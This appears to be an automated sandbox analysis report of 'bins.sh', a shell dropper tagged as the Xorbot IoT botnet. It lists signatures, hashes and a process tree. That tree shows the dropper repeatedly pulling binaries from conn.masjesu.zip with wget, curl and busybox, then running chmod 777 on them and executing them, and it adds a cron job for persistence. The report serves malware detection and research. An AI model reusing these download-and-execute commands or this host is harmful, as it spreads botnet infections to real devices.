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Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    28/02/2025, 07:22

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    4cfb0882602e49bb3bb56c54e08029a6

  • SHA1

    d60467677204a5e3045c01dca1ff688264ab69b9

  • SHA256

    199cd72604764bd453856e029830cce18d0f746a1caae617cbafebda9d785617

  • SHA512

    d9a9c852ca4823533dab2b557a096e4055d3665ce8f562b2d0612029ecba77d391811af06e53e55e4fb483589d1009ab948faf0590252578a3f9a143d5c14aef

  • SSDEEP

    192:0BBSrBsKwWxWlWYW/W3WB9GurAMMsG253Xy5bz2R95PvExdDPvExdrV3X0bz2R9L:0BBSrBsKwWxWlWYW/W3WB6sG285bz2RF

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (892) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 31 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:699
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:706
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:711
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:728
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
        2⤵
        • System Network Configuration Discovery
        PID:730
      • /bin/chmod
        chmod 777 rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
        2⤵
        • File and Directory Permissions Modification
        PID:749
      • /tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
        ./rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
        2⤵
          PID:750
        • /bin/rm
          rm rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
          2⤵
            PID:754
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:755
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:781
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
            2⤵
            • System Network Configuration Discovery
            PID:816
          • /bin/chmod
            chmod 777 bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
            2⤵
            • File and Directory Permissions Modification
            PID:817
          • /tmp/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
            ./bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
            2⤵
              PID:818
            • /bin/rm
              rm bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
              2⤵
                PID:820
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:821
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:822
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:824
              • /bin/chmod
                chmod 777 zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
                2⤵
                • File and Directory Permissions Modification
                PID:825
              • /tmp/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
                ./zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
                2⤵
                  PID:826
                • /bin/rm
                  rm zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy
                  2⤵
                    PID:828
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:829
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:830
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:832
                  • /bin/chmod
                    chmod 777 6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
                    2⤵
                    • File and Directory Permissions Modification
                    PID:833
                  • /tmp/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
                    ./6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
                    2⤵
                      PID:834
                    • /bin/rm
                      rm 6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB
                      2⤵
                        PID:836
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/gyAnr1XdiI2ATNkxA7xyQOEEXCMZ1sTD2H
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:837
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/gyAnr1XdiI2ATNkxA7xyQOEEXCMZ1sTD2H
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:838
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/gyAnr1XdiI2ATNkxA7xyQOEEXCMZ1sTD2H
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:840
                      • /bin/chmod
                        chmod 777 gyAnr1XdiI2ATNkxA7xyQOEEXCMZ1sTD2H
                        2⤵
                        • File and Directory Permissions Modification
                        PID:841
                      • /tmp/gyAnr1XdiI2ATNkxA7xyQOEEXCMZ1sTD2H
                        ./gyAnr1XdiI2ATNkxA7xyQOEEXCMZ1sTD2H
                        2⤵
                          PID:842
                        • /bin/rm
                          rm gyAnr1XdiI2ATNkxA7xyQOEEXCMZ1sTD2H
                          2⤵
                            PID:844
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/8wDDorfnsj6YCcanR93ZMMDgL77JdAZblP
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:845
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/8wDDorfnsj6YCcanR93ZMMDgL77JdAZblP
                            2⤵
                            • Reads runtime system information
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:846
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/8wDDorfnsj6YCcanR93ZMMDgL77JdAZblP
                            2⤵
                            • System Network Configuration Discovery
                            PID:848
                          • /bin/chmod
                            chmod 777 8wDDorfnsj6YCcanR93ZMMDgL77JdAZblP
                            2⤵
                            • File and Directory Permissions Modification
                            PID:849
                          • /tmp/8wDDorfnsj6YCcanR93ZMMDgL77JdAZblP
                            ./8wDDorfnsj6YCcanR93ZMMDgL77JdAZblP
                            2⤵
                              PID:850
                            • /bin/rm
                              rm 8wDDorfnsj6YCcanR93ZMMDgL77JdAZblP
                              2⤵
                                PID:852
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/wMCzGi530NB7zo5fB9ybW1ZnGE39jRI8aI
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:853
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/wMCzGi530NB7zo5fB9ybW1ZnGE39jRI8aI
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:854
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/wMCzGi530NB7zo5fB9ybW1ZnGE39jRI8aI
                                2⤵
                                • System Network Configuration Discovery
                                PID:856
                              • /bin/chmod
                                chmod 777 wMCzGi530NB7zo5fB9ybW1ZnGE39jRI8aI
                                2⤵
                                • File and Directory Permissions Modification
                                PID:857
                              • /tmp/wMCzGi530NB7zo5fB9ybW1ZnGE39jRI8aI
                                ./wMCzGi530NB7zo5fB9ybW1ZnGE39jRI8aI
                                2⤵
                                  PID:858
                                • /bin/rm
                                  rm wMCzGi530NB7zo5fB9ybW1ZnGE39jRI8aI
                                  2⤵
                                    PID:860
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/I7v7uSGD0wW3oeHqOgGOMZHh1tWEPV7PqS
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:861
                                  • /usr/bin/curl
                                    curl -O http://conn.masjesu.zip/bins/I7v7uSGD0wW3oeHqOgGOMZHh1tWEPV7PqS
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:862
                                  • /bin/busybox
                                    /bin/busybox wget http://conn.masjesu.zip/bins/I7v7uSGD0wW3oeHqOgGOMZHh1tWEPV7PqS
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:864
                                  • /bin/chmod
                                    chmod 777 I7v7uSGD0wW3oeHqOgGOMZHh1tWEPV7PqS
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:865
                                  • /tmp/I7v7uSGD0wW3oeHqOgGOMZHh1tWEPV7PqS
                                    ./I7v7uSGD0wW3oeHqOgGOMZHh1tWEPV7PqS
                                    2⤵
                                    • Renames itself
                                    • Reads runtime system information
                                    PID:866
                                    • /bin/sh
                                      sh -c "crontab -l"
                                      3⤵
                                        PID:868
                                        • /usr/bin/crontab
                                          crontab -l
                                          4⤵
                                            PID:869
                                        • /bin/sh
                                          sh -c "crontab -"
                                          3⤵
                                            PID:870
                                            • /usr/bin/crontab
                                              crontab -
                                              4⤵
                                              • Creates/modifies Cron job
                                              • Reads runtime system information
                                              PID:871
                                        • /bin/rm
                                          rm I7v7uSGD0wW3oeHqOgGOMZHh1tWEPV7PqS
                                          2⤵
                                            PID:873
                                          • /usr/bin/wget
                                            wget http://conn.masjesu.zip/bins/vgb3ckOnvL8uctNDodrLurZ8H1DGJKxgo9
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:876
                                          • /usr/bin/curl
                                            curl -O http://conn.masjesu.zip/bins/vgb3ckOnvL8uctNDodrLurZ8H1DGJKxgo9
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:877
                                          • /bin/busybox
                                            /bin/busybox wget http://conn.masjesu.zip/bins/vgb3ckOnvL8uctNDodrLurZ8H1DGJKxgo9
                                            2⤵
                                            • System Network Configuration Discovery
                                            • Writes file to tmp directory
                                            PID:879
                                          • /bin/chmod
                                            chmod 777 vgb3ckOnvL8uctNDodrLurZ8H1DGJKxgo9
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:880
                                          • /tmp/vgb3ckOnvL8uctNDodrLurZ8H1DGJKxgo9
                                            ./vgb3ckOnvL8uctNDodrLurZ8H1DGJKxgo9
                                            2⤵
                                              PID:881
                                            • /bin/rm
                                              rm vgb3ckOnvL8uctNDodrLurZ8H1DGJKxgo9
                                              2⤵
                                                PID:883
                                              • /usr/bin/wget
                                                wget http://conn.masjesu.zip/bins/4HJXOXHp2WULSxouQ1IqzObfEp6aBgN5fr
                                                2⤵
                                                • System Network Configuration Discovery
                                                PID:884
                                              • /usr/bin/curl
                                                curl -O http://conn.masjesu.zip/bins/4HJXOXHp2WULSxouQ1IqzObfEp6aBgN5fr
                                                2⤵
                                                • System Network Configuration Discovery
                                                PID:885
                                              • /bin/busybox
                                                /bin/busybox wget http://conn.masjesu.zip/bins/4HJXOXHp2WULSxouQ1IqzObfEp6aBgN5fr
                                                2⤵
                                                • System Network Configuration Discovery
                                                • Writes file to tmp directory
                                                PID:887
                                              • /bin/chmod
                                                chmod 777 4HJXOXHp2WULSxouQ1IqzObfEp6aBgN5fr
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:888
                                              • /tmp/4HJXOXHp2WULSxouQ1IqzObfEp6aBgN5fr
                                                ./4HJXOXHp2WULSxouQ1IqzObfEp6aBgN5fr
                                                2⤵
                                                  PID:889
                                                • /bin/rm
                                                  rm 4HJXOXHp2WULSxouQ1IqzObfEp6aBgN5fr
                                                  2⤵
                                                    PID:891
                                                  • /usr/bin/wget
                                                    wget http://conn.masjesu.zip/bins/q5FiRmhyo0LmsNwZPvtHtFA3RviTHxHePS
                                                    2⤵
                                                    • System Network Configuration Discovery
                                                    PID:892

                                                Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • /tmp/4HJXOXHp2WULSxouQ1IqzObfEp6aBgN5fr

                                                  Filesize

                                                  112KB

                                                  MD5

                                                  05d7857dcead18bbd86d2935f591873c

                                                  SHA1

                                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                  SHA256

                                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                  SHA512

                                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                • /tmp/6dZMCGiz1XU3qT3Ri2IY9n3Xq7d0yagyhB

                                                  Filesize

                                                  177KB

                                                  MD5

                                                  786d75a158fe731feca3880f436082c0

                                                  SHA1

                                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                  SHA256

                                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                  SHA512

                                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                • /tmp/8wDDorfnsj6YCcanR93ZMMDgL77JdAZblP

                                                  Filesize

                                                  119KB

                                                  MD5

                                                  1b166b95f9cb4b079ef1b9ec8363ddf3

                                                  SHA1

                                                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                  SHA256

                                                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                  SHA512

                                                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                • /tmp/I7v7uSGD0wW3oeHqOgGOMZHh1tWEPV7PqS

                                                  Filesize

                                                  151KB

                                                  MD5

                                                  6c583043d91c55aa470c08c87058e917

                                                  SHA1

                                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                                  SHA256

                                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                  SHA512

                                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                • /tmp/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL

                                                  Filesize

                                                  98KB

                                                  MD5

                                                  5141342d0df8699fa32a6b066a0c592e

                                                  SHA1

                                                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                  SHA256

                                                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                  SHA512

                                                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                • /tmp/gyAnr1XdiI2ATNkxA7xyQOEEXCMZ1sTD2H

                                                  Filesize

                                                  122KB

                                                  MD5

                                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                                  SHA1

                                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                  SHA256

                                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                  SHA512

                                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                • /tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb

                                                  Filesize

                                                  99KB

                                                  MD5

                                                  9438d9bc392bcf300a5583b6df5bc8f6

                                                  SHA1

                                                  375a6ae34b516f6f3eeea8030c4084f585017efa

                                                  SHA256

                                                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                  SHA512

                                                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                • /tmp/vgb3ckOnvL8uctNDodrLurZ8H1DGJKxgo9

                                                  Filesize

                                                  107KB

                                                  MD5

                                                  eb9c3a0de91fcf16ba17cb24608df68c

                                                  SHA1

                                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                                  SHA256

                                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                  SHA512

                                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                • /tmp/wMCzGi530NB7zo5fB9ybW1ZnGE39jRI8aI

                                                  Filesize

                                                  127KB

                                                  MD5

                                                  89077b7bd4bcafca7713be43635c4862

                                                  SHA1

                                                  fc02edb8fba29ea8ee99e6157ef8560334530052

                                                  SHA256

                                                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                  SHA512

                                                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                • /tmp/zM6hybHvHVpMiKuXaR8cvu50d6Qtydjffy

                                                  Filesize

                                                  111KB

                                                  MD5

                                                  ca897a38f23ec23521ce0b1b83f8422d

                                                  SHA1

                                                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                  SHA256

                                                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                  SHA512

                                                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                • /var/spool/cron/crontabs/tmp.6h4ghz

                                                  Filesize

                                                  210B

                                                  MD5

                                                  2c9f45273217dd742c6475d068bb2a8c

                                                  SHA1

                                                  e13ae89c6f1c6bdba83a60ad7a288a09295ac1d9

                                                  SHA256

                                                  f800f708fd5fac22607f058823745f6cacc53603ec080933d4b623d7f934caef

                                                  SHA512

                                                  b8918f0d929482bfe1e1d5b9227b623c49f4e9d5619e0e51d962e9b703b2e5630e44c5e5248bdc9c1155b801a4f4f99c97871dad870cd15b7ce0445690c44721